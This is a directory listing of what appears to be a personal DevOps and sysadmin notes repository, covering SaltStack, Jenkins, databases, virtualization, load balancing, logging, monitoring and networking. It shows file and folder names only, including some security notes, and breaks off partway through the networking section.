├── .gitattributes ├── .gitignore ├── AUTO ├── archi │ ├── pc的技能树.txt │ └── pc的自问自答.md ├── devops │ ├── KPI │ │ ├── KPI数据库-开发类.txt │ │ ├── KPI数据库-测试类.txt │ │ └── KPI数据库-运维类.txt │ ├── aliyun_devops_after.jpeg │ ├── aliyun_devops_before.jpeg │ ├── atlassian_devops_culture_toolchains.png │ ├── devops.png │ ├── meizu_ops_archi │ │ ├── 01.png │ │ ├── 02.png │ │ ├── 03.png │ │ ├── 04.png │ │ ├── 05.png │ │ └── readme.txt │ ├── what_is_devops.md │ ├── 如何开展运维工程师的工作?.txt │ ├── 运维工作解释.docx │ └── 运维工作解释.pdf ├── saltStack │ ├── bin │ │ └── saltstack-install-minion.sh │ ├── conf │ │ └── srv │ │ │ ├── pillar │ │ │ ├── job │ │ │ │ └── init.sls │ │ │ ├── package │ │ │ │ └── init.sls │ │ │ └── top.sls │ │ │ └── salt │ │ │ ├── base │ │ │ ├── abc │ │ │ │ ├── hosts.sls │ │ │ │ ├── init.sls │ │ │ │ ├── locale.sls │ │ │ │ ├── ntp.sls │ │ │ │ ├── packages.sls │ │ │ │ ├── resolv.sls │ │ │ │ ├── systemtuning.sls │ │ │ │ └── yum.sls │ │ │ ├── conf.d │ │ │ │ ├── dnsmasq │ │ │ │ │ └── office.conf │ │ │ │ ├── locale │ │ │ │ │ ├── README.txt │ │ │ │ │ ├── ntp.conf │ │ │ │ │ ├── sysconfig_i18n │ │ │ │ │ ├── sysconfig_ntpd │ │ │ │ │ └── tpl.ntp.conf │ │ │ │ ├── monit │ │ │ │ │ ├── monit-mail.conf │ │ │ │ │ ├── salt-minion.conf │ │ │ │ │ └── zabbix-agent.conf │ │ │ │ ├── mysql │ │ │ │ │ ├── my.cnf │ │ │ │ │ ├── percona_zabbix_php.ini │ │ │ │ │ └── ss_get_mysql_stats.php │ │ │ │ ├── ops │ │ │ │ │ └── bin │ │ │ │ │ │ ├── pw │ │ │ │ │ │ ├── randchars.py │ │ │ │ │ │ └── sendEmail │ │ │ │ ├── resolv │ │ │ │ │ ├── client.conf │ │ │ │ │ └── server.conf │ │ │ │ ├── ssh │ │ │ │ │ └── sshd_config │ │ │ │ ├── systemtuning │ │ │ │ │ ├── modprobe-dist.conf │ │ │ │ │ ├── my-limits.conf │ │ │ │ │ ├── rc-local.conf │ │ │ │ │ └── sysctl.conf │ │ │ │ ├── vim │ │ │ │ │ └── vimrc │ │ │ │ ├── yum │ │ │ │ │ └── local-office.repo │ │ │ │ └── zabbix │ │ │ │ │ ├── README.txt │ │ │ │ │ ├── httpd_zabbix.conf │ │ │ │ │ ├── php_zabbix.ini │ │ │ │ │ ├── scripts │ │ │ │ │ ├── check_conn.py │ │ │ │ │ └── nginx_status │ │ │ │ │ ├── tpl.zabbix_agentd.conf │ │ │ │ │ ├── tpl.zabbix_server.conf │ │ │ │ │ ├── zabbix_agentd.conf │ │ │ │ │ ├── zabbix_agentd.d │ │ │ │ │ ├── userparameter_default.conf │ │ │ │ │ ├── userparameter_dell.conf │ │ │ │ │ ├── userparameter_nginx.conf │ │ │ │ │ └── userparameter_percona_mysql.conf │ │ │ │ │ └── zabbix_server.conf │ │ │ ├── crontab │ │ │ │ └── init.sls │ │ │ ├── dell │ │ │ │ └── init.sls │ │ │ ├── dnsmasq │ │ │ │ └── init.sls │ │ │ ├── monit │ │ │ │ └── init.sls │ │ │ ├── mysql │ │ │ │ ├── client.sls │ │ │ │ └── server.sls │ │ │ ├── ops │ │ │ │ └── bin.sls │ │ │ ├── postfix │ │ │ │ └── init.sls │ │ │ ├── salt │ │ │ │ └── minion.sls │ │ │ ├── ssh │ │ │ │ └── init.sls │ │ │ ├── top.sls │ │ │ ├── vim │ │ │ │ └── init.sls │ │ │ ├── web │ │ │ │ ├── init.sls │ │ │ │ └── test.sls │ │ │ └── zabbix │ │ │ │ ├── agent.sls │ │ │ │ ├── server.sls │ │ │ │ └── web.sls │ │ │ ├── dev │ │ │ ├── top.sls │ │ │ └── web.sls │ │ │ ├── prod │ │ │ ├── top.sls │ │ │ └── web.sls │ │ │ └── qa │ │ │ ├── conf.d │ │ │ └── crontab │ │ │ │ └── client.conf │ │ │ ├── crontab │ │ │ └── init.sls │ │ │ └── top.sls │ ├── saltstack的安装和初步试用.txt │ ├── saltstack的探索-grains.txt │ ├── saltstack的探索-pillar.txt │ ├── saltstack的探索-salt指定目标和分组.txt │ ├── saltstack的探索-使用pillar来改进vim的部署.txt │ ├── saltstack的探索-使用模版分发一个配置文件到minion.txt │ ├── saltstack的探索-再次改进管理用户的sls文件来更新root用户的密码.txt │ ├── saltstack的探索-利用脚本增加用户.txt │ ├── saltstack的探索-安装vim、nginx服务和配置、自定义脚本.txt │ ├── saltstack的探索-执行脚本和命令来更新防火墙配置.txt │ ├── saltstack的探索-改善管理用户的sls文件.txt │ ├── saltstack的探索-演示部署文件和脚本安装zabbix-agent服务.txt │ ├── saltstack的探索-给zabbix客户端推送一个自定义的配置文件.txt │ ├── saltstack的探索-通过官网文档迅速了解salt.txt │ ├── saltstack的深入-highstate概念.txt │ ├── saltstack的深入-再次理解file_roots,state,pillar和highstate的使用.txt │ ├── saltstack的深入-再次理解state的基本用法.txt │ ├── saltstack的深入-增加针对系统调优的state配置.txt │ ├── saltstack的深入-管理python-pip.txt │ ├── saltstack的深入-配置zabbix所需的mysql-server.txt │ ├── saltstack的深入-配置zabbix所需的server,web,agent.txt │ └── 安装salt-minion.txt ├── sysInit │ ├── init_datetime.sh │ ├── init_net.sh │ ├── init_sshd.sh │ └── init_system.sh ├── 初探ansible-体验.txt └── 初探fabric-体验.txt ├── CICD ├── bugzilla.txt ├── confd │ ├── CICD-使用confd监控etcd的变化来触发reload指令.md │ └── confd-exp │ │ ├── bin │ │ ├── confd-reload-cmd.sh │ │ └── k8s-confd-ctl.sh │ │ ├── conf.d │ │ ├── rollout.toml │ │ └── undo.toml │ │ └── templates │ │ ├── rollout.tmpl │ │ └── undo.tmpl ├── git │ ├── git 在命令行下的使用帮助.docx │ ├── git_xmind.png │ ├── git使用小结.md │ ├── git升级版本.txt │ ├── git实践:一种分支管理模式.txt │ ├── git服务搭建和在Windows下的使用帮助.docx │ └── 简单的git提交django代码charade的示范.txt ├── jenkins │ ├── bin │ │ └── jenkins-backup.sh │ ├── jenkins-pipeline-params.md │ ├── jenkins-使用Jenkinsfile来定义pipeline.txt │ ├── jenkins-基础操作.md │ ├── jenkins-如何发送邮件.txt │ ├── pipeline-jenkinsfile.png │ └── sample │ │ ├── pipeline │ │ ├── README.md │ │ ├── k8s │ │ │ ├── Jenkinsfile │ │ │ └── ci │ │ │ │ ├── ci.sh │ │ │ │ ├── init.sh │ │ │ │ ├── svc.list │ │ │ │ └── tpl.docker.d │ │ │ │ └── svc1 │ │ │ │ ├── Dockerfile │ │ │ │ └── k8s.ns-svc1-dev.yaml │ │ ├── nodejs │ │ │ └── Jenkinsfile │ │ └── swarm │ │ │ ├── Jenkinsfile │ │ │ ├── cd │ │ │ ├── demo │ │ │ │ └── demoproject │ │ │ │ │ ├── deploy.sh │ │ │ │ │ └── init-svc-dev │ │ │ └── swarm-ctl.sh │ │ │ └── ci │ │ │ ├── ci.sh │ │ │ ├── init.sh │ │ │ ├── svc.list │ │ │ └── tpl.docker.d │ │ │ └── svc1 │ │ │ └── Dockerfile │ │ └── svn_jenkins_docker │ │ ├── README.md │ │ ├── jenkins_ctl_dockerfile.sh │ │ └── svn_hook_postcommit_dockerfile.sh ├── notify │ ├── mailman.py │ ├── mailman_sendEmail.sh │ ├── receiver_wechat.py │ └── sendEmail ├── phabricator.md ├── realworld-pipeline-flow.png ├── redmine.txt └── svn │ ├── svn.txt │ └── svn管理.txt ├── IAAS ├── DB │ ├── cache │ │ ├── couchbase.txt │ │ └── memcached.txt │ ├── kvstore │ │ ├── etcd │ │ │ ├── 初探etcd-go client v2的示例.txt │ │ │ ├── 初探etcd-go client v3的示例.txt │ │ │ ├── 初探etcd-使用v2版本并结合confd来生产数据.txt │ │ │ └── 初探etcd-基本操作.md │ │ ├── redis │ │ │ ├── redis-cluster-在docker中运行.md │ │ │ ├── redis-初探.txt │ │ │ └── redis-在docker中运行.md │ │ └── zookeeper │ │ │ ├── zookeeper-初探.md │ │ │ └── zookeeper-在docker中运行.md │ ├── mongodb │ │ ├── mongodb-初探.txt │ │ └── mongodb-在docker中运行.md │ ├── mq │ │ └── rabbitmq-在docker中运行.md │ └── mysql │ │ ├── PerconaServerUpgrade.txt │ │ ├── bin │ │ ├── mysql_backup_v5.sh │ │ └── mysql_bak_via_dump.sh │ │ ├── insidemysql_MySQL 5.6 & 5.7最优配置文件模板.txt │ │ ├── insidemysql_my.cnf │ │ ├── mysql.5.6.example.cnf │ │ ├── mysql5.7导出用户信息.md │ │ ├── mysql_multi.txt │ │ ├── mysql主从.txt │ │ ├── mysql备份mysqldump.txt │ │ ├── mysql备份xtrabackup.txt │ │ ├── mysql安装.txt │ │ ├── mysql恢复使用参数innodb_force_recovery.txt │ │ ├── mysql服务器初始化配置.txt │ │ ├── mysql知识分享-姚艳庆.txt │ │ ├── mysql管理.txt │ │ ├── mysql重置密码.txt │ │ ├── percona-toolkit安装.txt │ │ ├── 从案例说InnoDB的基本优化.docx │ │ ├── 优化.txt │ │ └── 在docker中运行msyql-初探.md ├── DNS │ ├── bind.txt │ ├── 配置DNS服务-dnsmasq初探.txt │ └── 配置DNS服务-简易配置dnsmasq来提供服务.txt ├── OS │ ├── Centos │ │ ├── conf │ │ │ ├── limits.conf │ │ │ └── sysctl.conf │ │ └── 初探centos7-安装.txt │ ├── Debian6 │ │ ├── Debian 常用命令.txt │ │ ├── [Nginx].txt │ │ ├── [apache2.2, mysql5.0, php5.3].txt │ │ ├── [apt, rc, cifs, date, cron].txt │ │ ├── [dns, samba, ftp, nfs].txt │ │ └── debian6conf │ │ │ ├── .bashrc │ │ │ ├── .vimrc │ │ │ └── etc │ │ │ ├── apache2 │ │ │ ├── httpd.conf │ │ │ ├── ports.conf │ │ │ └── sites-available │ │ │ │ ├── default │ │ │ │ └── phpmyadmin │ │ │ ├── apt │ │ │ └── sources.list │ │ │ ├── bind │ │ │ ├── db.192.168.1 │ │ │ ├── db.pc.world │ │ │ ├── named.conf.local │ │ │ └── named.conf.options │ │ │ ├── fstab │ │ │ ├── hosts │ │ │ ├── resolv.conf │ │ │ └── vsftpd.conf │ ├── FreeBSD8 │ │ ├── [mysql5.0, apache2.2, php5.2].txt │ │ └── [最小化安装].txt │ ├── VirtualBox.txt │ ├── cobbler │ │ ├── CentOS-6.5-x86_64.ks │ │ ├── img │ │ │ ├── 00.png │ │ │ ├── 02.png │ │ │ ├── 03.png │ │ │ ├── 04.png │ │ │ ├── 05.png │ │ │ ├── 06.png │ │ │ ├── 07.png │ │ │ ├── 08.png │ │ │ ├── 09.png │ │ │ └── 10.png │ │ ├── kickstart参数详解.txt │ │ └── 测试使用cobbler服务.txt │ ├── grub.txt │ ├── repo │ │ ├── bin │ │ │ ├── ceph_wget_rpms.sh │ │ │ └── repo_update.sh │ │ └── yum │ │ │ ├── epel.txt │ │ │ ├── webtatic.txt │ │ │ ├── yum_rpm.txt │ │ │ ├── 挂载系统光盘作为本地的yum源.txt │ │ │ └── 测试配置yum仓库的http镜像.txt │ └── windows │ │ ├── PC__SnapShot.exe │ │ ├── etc.lnk │ │ ├── findstr-example.bat │ │ ├── firewall.win7.port.cn.bat │ │ ├── firewall.win7.port.en.bat │ │ ├── ip_switch.bat │ │ ├── netsh_firewall.txt │ │ ├── qq_checknetwork.2.3.11.rar │ │ ├── set_ip.bat │ │ ├── win7_wlan.bat │ │ ├── zero.bat │ │ ├── 关机.bat │ │ ├── 切换内外网的DNS【请以管理员身份运行】.cmd │ │ ├── 国税IE环境设置.bat │ │ ├── 在win7笔记本上建立wifi热点.png │ │ ├── 日期和时间.bat │ │ └── 网络诊断v1.bat ├── SEC │ ├── K验证.vsd │ ├── Reverse Shell Cheat Sheet.txt │ ├── bin │ │ ├── check_ldap.sh │ │ ├── ldap-test.py │ │ ├── pw-exp │ │ ├── pwpw │ │ ├── ssh_banner.sh │ │ ├── ssh_chroot.sh │ │ └── user_ssh_with_key.sh │ ├── cisofy_checklist.txt │ ├── ctf │ │ └── xff │ │ │ ├── README.md │ │ │ ├── c.py │ │ │ └── payload.py │ ├── ddos判断.txt │ ├── openssl │ │ ├── openssl-Go和HTTPS.txt │ │ ├── openssl-linux 生成 passwd.txt │ │ └── openssl-证书制作小结.txt │ ├── 使用过的反弹shell的姿势小记.txt │ ├── 关注漏洞.txt │ ├── 关注范围.txt │ ├── 浅谈Ddos攻击攻击与防御.txt │ ├── 深入浅出DDoS攻击防御.txt │ └── 系统漏洞修补.txt ├── cloudServer │ ├── KVM │ │ ├── bin │ │ │ └── rsync_bak_kvm_images.sh │ │ ├── kvm指令.xlsx │ │ ├── xml示例 │ │ │ ├── e01.test.xml │ │ │ ├── vm_安装OS并关闭后又启动时.xml │ │ │ ├── vm_安装OS并关闭时.xml │ │ │ └── vm_开始使用CD安装OS时.xml │ │ ├── 初探KVM-virsh-配置网卡.txt │ │ ├── 初探KVM-使用virt-v2v.txt │ │ ├── 初探KVM-单机虚拟化环境.txt │ │ ├── 初探KVM-如何使用console.txt │ │ ├── 初探KVM-如何封装linux模版 │ │ └── 初探KVM-第一个虚拟机.txt │ ├── OpenStack │ │ └── OpenStack初探-概念.txt │ ├── Spec │ │ ├── CPU在bios中的一些选项.txt │ │ ├── 服务器上架_raid10_DB服务器.txt │ │ ├── 服务器上架_raid5_DB服务器.txt │ │ ├── 服务器上架_raid5_存储服务器.txt │ │ ├── 服务器上架_无raid_Redis服务器.txt │ │ ├── 服务器机型 │ │ │ ├── s77.png │ │ │ ├── s78.png │ │ │ ├── s80.png │ │ │ ├── s81.png │ │ │ ├── s82.png │ │ │ ├── 机型.txt │ │ │ └── 硬件配置.txt │ │ ├── 服务器硬盘价格.png │ │ └── 生产环境上架规范.txt │ ├── UnitedStack.png │ ├── VMWare │ │ ├── VMware ESXI5.5安装.docx │ │ └── vmware [配置常见问题] .txt │ ├── Xen │ │ ├── SLES 11 SP2 安装和Xen虚拟化环境简单配置 .doc │ │ ├── macgen.py │ │ ├── vm_centos-create-2nic.sh │ │ ├── vm_centos-create.sh │ │ └── 初探xen-配置第一个虚拟机.txt │ ├── XenServer │ │ ├── How to Move a XenServer Pool to a Different IP Subnet.txt │ │ └── XenServer初探-FAQ.txt │ ├── ZStack │ │ ├── Mevoco NFS 商业存储方案网络拓扑图.jpg │ │ ├── Mevoco 本地存储方案物理空间分布.jpg │ │ ├── Mevoco 本地存储方案网络拓扑图.jpg │ │ ├── PD3001-ZStack数据中心部署实践-1.10.0.pdf │ │ ├── PD3004-ZStack私有云实践指南-1.10.0.pdf │ │ ├── ST2001-OCFS2共享存储实践指南-iSCSI存储-1.10.pdf │ │ ├── zstack-management-l2-public-l2-merged-local-stroage.png │ │ ├── zstack-management-l2-public-l2-seperated-ceph.png │ │ ├── zstack-management-l2-public-l2-seperated-local-stroage.png │ │ ├── zstack-management-l2-public-l2-seperated-nas.png │ │ ├── zstack-management-l2-public-l2-seperated.png │ │ ├── zstack-浅谈私有云环境该如何进行网络规划.docx │ │ ├── zstack_sp.png │ │ └── 测试虚拟化管理平台-ZStack.txt │ ├── aliyun │ │ ├── ECS在传统架构中的对应图.jpg │ │ ├── linux云服务器常用操作和命令.docx │ │ ├── linux云服务器数据盘分区和格式化.docx │ │ ├── 实例资源规格对照表.xlsx │ │ ├── 应该如何使用阿里云_rippletek.docx │ │ ├── 服务分类.txt │ │ ├── 腾讯云的经验.txt │ │ └── 阿里云oss使用小结.md │ ├── dell │ │ ├── OME │ │ │ └── OME_01.png │ │ ├── dell OME(Open Manage Essentials) 入门.txt │ │ ├── dell服务器硬盘的状态变成外来(foreign).txt │ │ ├── iDRAC.txt │ │ ├── img_dell服务器硬盘的状态变成外来(foreign) │ │ │ ├── foreign_a01.png │ │ │ ├── foreign_a02.png │ │ │ ├── foreign_a03.png │ │ │ ├── foreign_b01.png │ │ │ └── foreign_b02.png │ │ ├── img_配置dell的idrac7通过email发送报警 │ │ │ ├── alert_a01.png │ │ │ ├── alert_a02.png │ │ │ ├── alert_b01.png │ │ │ ├── alert_b02.png │ │ │ ├── alert_b03.png │ │ │ ├── alert_b04.png │ │ │ ├── alert_c01.png │ │ │ ├── alert_c02.png │ │ │ ├── alert_c03.png │ │ │ ├── idrac_email_01.png │ │ │ ├── idrac_email_02.png │ │ │ ├── idrac_email_03.png │ │ │ └── idrac_email_04.png │ │ ├── zabbix通过snmp来监控dell的idrac │ │ │ ├── Template_Dell_iDRAC_SNMPv2.zbx.xml │ │ │ └── zabbix-dell-idrac-snmp.txt │ │ ├── 利用ipmi设置本机自带的idrac.txt │ │ ├── 通过dell的命令行工具OMSA来监控服务器硬件 │ │ │ ├── batteries.txt │ │ │ ├── biossetup.txt │ │ │ ├── fans.txt │ │ │ ├── memory.txt │ │ │ ├── nics.txt │ │ │ ├── pdisk.txt │ │ │ ├── processors.txt │ │ │ ├── pwrsupplies.txt │ │ │ ├── temps.txt │ │ │ ├── vdisk.txt │ │ │ ├── zabbix_template_hardware_dell.xml │ │ │ ├── zabbix_userparameter_dell.conf │ │ │ └── 通过dell的命令行工具OMSA来监控服务器硬件.txt │ │ └── 配置dell的idrac7通过email发送报警.txt │ └── oVirt │ │ ├── bin │ │ ├── check_ovirt_node_date.sh │ │ ├── ovirt_api.sh │ │ ├── ovirt_sdk.py │ │ ├── ovirt_vms.sh │ │ ├── ovirt_wget_rpms.sh │ │ └── rsync_bak_ovirt_engine.sh │ │ ├── host xxx did no satisfy internal filter Memory because its swap value was illegal..txt │ │ ├── img_测试2个节点的ovirt和glusterfs集群的可用性 │ │ ├── 1事件-host1被强制重启后vm开始迁移.png │ │ ├── 2事件-host1的电源管理禁用后,模拟网卡down掉.png │ │ ├── 3虚拟机-在host1上运行的虚拟机的状态.png │ │ ├── 4主机-主机n33的状态,已经下线,计划手动确认主机已经重启.png │ │ ├── 5主机-手动确认主机已经重启时的提示.png │ │ ├── 6虚拟机-在host1上运行的虚拟机已经迁移到n34上.png │ │ └── 7事件-虚拟机已经迁移到n34上.png │ │ ├── 再探oVirt-测试2个节点的ovirt和glusterfs集群的可用性.txt │ │ ├── 再探oVirt-转换xen虚拟机为kvm虚拟机并使用virt-v2v来导入到oVirt中.txt │ │ ├── 再探oVirt-迁移xen虚拟机的disk到ovirt中新建的vm的disk上.txt │ │ ├── 再探oVirt-配置一个2节点的ovirt环境.txt │ │ ├── 再探oVirt-配置一个windows2008虚拟机.txt │ │ ├── 初探oVirt-体验.txt │ │ ├── 初探oVirt-体验REST-API.txt │ │ ├── 初探oVirt-体验sdk-python.txt │ │ ├── 初探oVirt-使用cloud-init.txt │ │ ├── 初探oVirt-使用小结FAQ.txt │ │ ├── 初探oVirt-小结后重做一遍ovirt环境.txt │ │ ├── 初探oVirt-清理ovirt环境.txt │ │ ├── 初探oVirt-缓存ovirt相关的rpm包到本地yum源中.txt │ │ └── 初探oVirt-重构-Self_Hosted_Engine.txt ├── loadBalancer │ ├── LVS │ │ ├── lvs+nginx反向代理-在工作中的应用-keepalived配置示例.txt │ │ ├── lvs+nginx反向代理-在工作中的应用-nginx反向代理配置示例.txt │ │ ├── lvs_01.png │ │ ├── lvs_02.png │ │ ├── lvs_03.png │ │ ├── lvs_04.png │ │ ├── lvs_05.png │ │ ├── lvs_06.png │ │ ├── lvs_07.png │ │ ├── lvs_08.png │ │ ├── lvs_09.png │ │ ├── lvs_10.png │ │ ├── lvs_11.png │ │ ├── lvs_12.png │ │ ├── lvs_13.png │ │ ├── lvs_14.png │ │ ├── lvs_15.png │ │ ├── lvs_16.png │ │ ├── lvs_ospf_noops.me.png │ │ ├── lvs_ospf_tunnel.png │ │ ├── lvs_xiaomi_01.png │ │ ├── lvs_xiaomi_02.png │ │ ├── lvs_xiaomi_03.png │ │ ├── lvs_xiaomi_04.png │ │ ├── lvs_xiaomi_05.png │ │ └── lvs_xiaomi_06.png │ ├── archi │ │ ├── ele.me.jpg │ │ ├── rpc9-environment-overview.png │ │ └── web_liuts.png │ ├── haproxy │ │ ├── bin │ │ │ └── haproxy_install.sh │ │ ├── haproxy借助xinetd管理的服务来做健康检查.txt │ │ ├── haproxy和nginx的代理配置对比实例.txt │ │ ├── haproxy日志问题.txt │ │ ├── haproxy配置1.txt │ │ ├── haproxy配置2.txt │ │ └── haproxy限制恶意访问的手段示例.txt │ ├── keepalived │ │ ├── bin │ │ │ └── lvs-realsvr.sh │ │ ├── keepalived配置lvs部分的状态检测.txt │ │ ├── 再次测试配置keepalived,lvs和realserver.txt │ │ ├── 有关arp_ignore 与arp_announce 参数的设置.txt │ │ ├── 测试keepalived主备模式.txt │ │ ├── 测试keepalived在DR模式下VIP转发数据到RIP的过程.txt │ │ ├── 测试keepalived备备模式.txt │ │ ├── 测试keepalived备备模式的主从切换过程.txt │ │ └── 测试配置keepalived,lvs和realserver.txt │ ├── nginx │ │ ├── nginx 针对IP和目录限速.txt │ │ ├── nginx-proxy配置实例.md │ │ ├── nginx-stream配置示例.md │ │ ├── nginx代理proxy如何获取客户端的真实IP地址.txt │ │ ├── nginx日志格式实例.md │ │ ├── nginx查看编译参数.txt │ │ ├── nginx通过yum安装.txt │ │ ├── nginx配置LB来代理upstream.txt │ │ └── tengine.txt │ ├── pcs.txt │ └── squid │ │ ├── conf │ │ ├── squid_proxy.conf │ │ └── squid_proxy_reversal.conf │ │ ├── setup-transparent-proxy-squid-howto.txt │ │ ├── squid控制.txt │ │ ├── squid日志.txt │ │ └── squid配置.txt ├── log │ ├── ELK │ │ ├── elk5_filebeat.template.json │ │ ├── elk5_generate_filebeat_and_logstash_conf.sh │ │ ├── elk_es_ctl.sh │ │ ├── elk_filebeat.template.json │ │ ├── elk_generate_filebeat_and_logstash_conf.sh │ │ ├── es-jvm-options.md │ │ ├── es-run-with-docker.md │ │ ├── es-run-without-docker.md │ │ ├── es-sys-options.md │ │ ├── 再探ELK-全新的ELK-5.2.0.txt │ │ ├── 初探ELK-elasticsearch使用小结.txt │ │ ├── 初探ELK-filebeat使用小结.txt │ │ ├── 初探ELK-kibana使用小结.txt │ │ ├── 初探ELK-logstash使用小结.txt │ │ ├── 初探ELK-以收集 nginx 日志为例示范搭建一个 ELK 环境的基本步骤.txt │ │ └── 初探ELK-使用geoip插件来制作可视化的地图.txt │ ├── coreseek │ │ ├── coreseek服务安装.txt │ │ ├── sphinx.txt │ │ ├── sphinx文章.txt │ │ └── 控制脚本和配置示例.txt │ ├── logrotated.txt │ └── scribe.txt ├── monitor │ ├── TX_monit │ │ ├── Monitor使用介绍.ppt │ │ ├── monitor3.0后台架构设计及实现.pptx │ │ ├── monitor运维安装.docx │ │ └── 监控系统之monitor系统简介.pptx │ ├── alertmanager │ │ ├── alertmanager.md │ │ ├── conf │ │ │ └── alertmanager.yml │ │ └── templates │ │ │ └── wechat.tmpl │ ├── grafana │ │ ├── docker-reverse.png │ │ ├── docker.png │ │ ├── grafana-prometheus-node_exporter.json │ │ └── grafana.md │ ├── monit │ │ ├── conf │ │ │ ├── monit.d │ │ │ │ ├── dubbo-monitor.conf │ │ │ │ ├── flume-ng.conf │ │ │ │ ├── fs.conf │ │ │ │ ├── iptables.conf │ │ │ │ ├── mail-format.conf │ │ │ │ ├── monit-config.conf │ │ │ │ ├── moxi.conf │ │ │ │ ├── nginx.conf │ │ │ │ ├── ntpd.conf │ │ │ │ ├── passwd.conf │ │ │ │ ├── salt-minion.conf │ │ │ │ ├── ssh.conf │ │ │ │ ├── tomcat.conf │ │ │ │ └── zabbix-agent.conf │ │ │ └── monitrc │ │ └── monit.txt │ ├── prometheus │ │ ├── config.yml │ │ ├── k8s │ │ │ ├── 01.rbac.yaml │ │ │ ├── 02.configmap.yaml │ │ │ ├── 03.prom.yaml │ │ │ └── README.md │ │ ├── prometheus.md │ │ └── rules_docker_node.yml │ ├── smokeping.config │ ├── smokeping.txt │ ├── supervisor.txt │ ├── zabbix │ │ ├── api │ │ │ ├── zabbix_api_auth.py │ │ │ └── zabbix_get_graph.py │ │ ├── conf │ │ │ ├── etc-zabbix │ │ │ │ ├── scripts │ │ │ │ │ ├── check_conn.py │ │ │ │ │ └── nginx_status │ │ │ │ └── zabbix_agentd.d │ │ │ │ │ ├── userparameter_default.conf │ │ │ │ │ ├── userparameter_dell.conf │ │ │ │ │ ├── userparameter_nginx.conf │ │ │ │ │ └── userparameter_percona_mysql.conf │ │ │ └── var-lib-zabbix │ │ │ │ ├── scripts │ │ │ │ ├── get_mysql_stats_wrapper.sh │ │ │ │ └── ss_get_mysql_stats.php │ │ │ │ └── templates │ │ │ │ ├── userparameter_percona_mysql.conf │ │ │ │ └── zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.4.xml │ │ ├── couchbase │ │ │ ├── lld_01.png │ │ │ ├── lld_02.png │ │ │ ├── lld_03.png │ │ │ ├── lld_04.png │ │ │ ├── lld_05.png │ │ │ ├── lld_06.png │ │ │ ├── lld_07.png │ │ │ ├── lld_08.png │ │ │ ├── monitor_couchbase.sh │ │ │ ├── userparameter_couchbase.conf │ │ │ ├── zbx22_templates_couchbase.xml │ │ │ ├── zbx24_templates_couchbase.xml │ │ │ └── 演示 zabbix LLD(Low-Level Discovery) 如何使用.txt │ │ ├── diskstats │ │ │ ├── monitor_disk_io.sh │ │ │ ├── userparameter_diskstats.conf │ │ │ └── zbx22_template_diskstats.xml │ │ ├── ip_port_status │ │ │ ├── monitor_ip_port.sh │ │ │ ├── userparameter_ip_port.conf │ │ │ ├── zbx22_template_ip_port_status.xml │ │ │ └── zbx24_template_ip_port_status.xml │ │ ├── tengine_reqstat │ │ │ ├── monitor_tengine_reqstat.sh │ │ │ ├── userparameter_tengine_reqstat.conf │ │ │ └── zbx24_template_tengine_reqstat.xml │ │ ├── userparameter_mysql.conf │ │ ├── zabbix-action-message.txt │ │ ├── zabbix的告警收敛 │ │ │ ├── alert_aggregation.py │ │ │ └── zabbix的告警收敛.txt │ │ ├── zabbix监控mysql.txt │ │ ├── 安装zabbix-agent.txt │ │ ├── 安装zabbix-server.txt │ │ └── 对zabbix discovery(LLD)的理解.txt │ └── 腾讯业务立体化监控体系.txt ├── net │ ├── DNS轮询.txt │ ├── OSI.jpeg │ ├── archi │ │ ├── SMB企业如何扩容网络架构示例一.png │ │ ├── eNSP-SMB企业如何扩容网络架构示例一 │ │ │ ├── 23AFACF8-3F4A-4e67-B03D-83C74CEC5DC7 │ │ │ │ └── flash.efz │ │ │ ├── 7424F8EE-942B-48f7-A99B-38E824D65C81 │ │ │ │ └── flash.efz │ │ │ ├── 84291891-FD1B-4e91-9AF4-827322E7FC31 │ │ │ │ └── flash.efz │ │ │ ├── F44F6317-CE36-4b09-85B8-7D605CFA373B │ │ │ │ └── flash.efz │ │ │ └── eNSP-SMB企业如何扩容网络架构示例一.topo │ │ ├── eNSP-私有云网络规划涂鸦(full vlan模式) │ │ │ ├── 35B406FA-8522-457b-BF6D-B1B34EBC12B3 │ │ │ │ └── flash.efz │ │ │ ├── 523932EA-61C1-433e-918C-DADF4BF25754 │ │ │ │ └── vrpcfg.zip │ │ │ ├── A74DE3D0-E6C1-4dac-814D-6C002662A247 │ │ │ │ └── flash.efz │ │ │ ├── BB7858E3-5692-4e84-810D-EA0BB774D374 │ │ │ │ └── flash.efz │ │ │ ├── D352C382-D9D4-43e1-8F7C-1E4939332684 │ │ │ │ └── PC.xml │ │ │ ├── D3DB2FF9-CB89-4166-9EBA-318D878A94D3 │ │ │ │ └── flash.efz │ │ │ └── eNSP-私有云网络规划涂鸦(full vlan模式).topo │ │ ├── eNSP-私有云网络规划涂鸦(single vlan模式) │ │ │ ├── 35B406FA-8522-457b-BF6D-B1B34EBC12B3 │ │ │ │ └── flash.efz │ │ │ ├── 523932EA-61C1-433e-918C-DADF4BF25754 │ │ │ │ └── vrpcfg.zip │ │ │ ├── A74DE3D0-E6C1-4dac-814D-6C002662A247 │ │ │ │ └── flash.efz │ │ │ ├── BB7858E3-5692-4e84-810D-EA0BB774D374 │ │ │ │ └── flash.efz │ │ │ ├── D352C382-D9D4-43e1-8F7C-1E4939332684 │ │ │ │ └── PC.xml │ │ │ ├── D3DB2FF9-CB89-4166-9EBA-318D878A94D3 │ │ │ │ └── flash.efz │ │ │ └── eNSP-私有云网络规划涂鸦(single vlan模式).topo │ │ ├── eNSP-私有云网络规划涂鸦(内外网边界) │ │ │ ├── 35B406FA-8522-457b-BF6D-B1B34EBC12B3 │ │ │ │ └── flash.efz │ │ │ ├── A74DE3D0-E6C1-4dac-814D-6C002662A247 │ │ │ │ └── flash.efz │ │ │ ├── BB7858E3-5692-4e84-810D-EA0BB774D374 │ │ │ │ └── flash.efz │ │ │ ├── D3DB2FF9-CB89-4166-9EBA-318D878A94D3 │ │ │ │ └── flash.efz │ │ │ ├── ECAE6C71-9375-4f2b-822A-8DAD69CA1033 │ │ │ │ └── flash.efz │ │ │ └── eNSP-私有云网络规划涂鸦(内外网边界).topo │ │ ├── idc_network_design_from_ele.png │ │ ├── idc_network_design_from_zstack.png │ │ ├── ref-arch-certified-hardware-2015-02-17.png │ │ ├── 私有云规划.eddx │ │ └── 私有云规划.pdf │ ├── bin │ │ ├── bond-ctl.sh │ │ ├── check_dns_record.sh │ │ ├── get_snmp_status.sh │ │ ├── ip.test │ │ ├── iptables_gateway_init.sh │ │ ├── iptables_limit_tcp_ctl.sh │ │ └── socks5proxy_ctl.sh │ ├── cisco │ │ ├── [OSI, IP Address, Network Segment, Subnet Mask].txt │ │ ├── [acl].txt │ │ 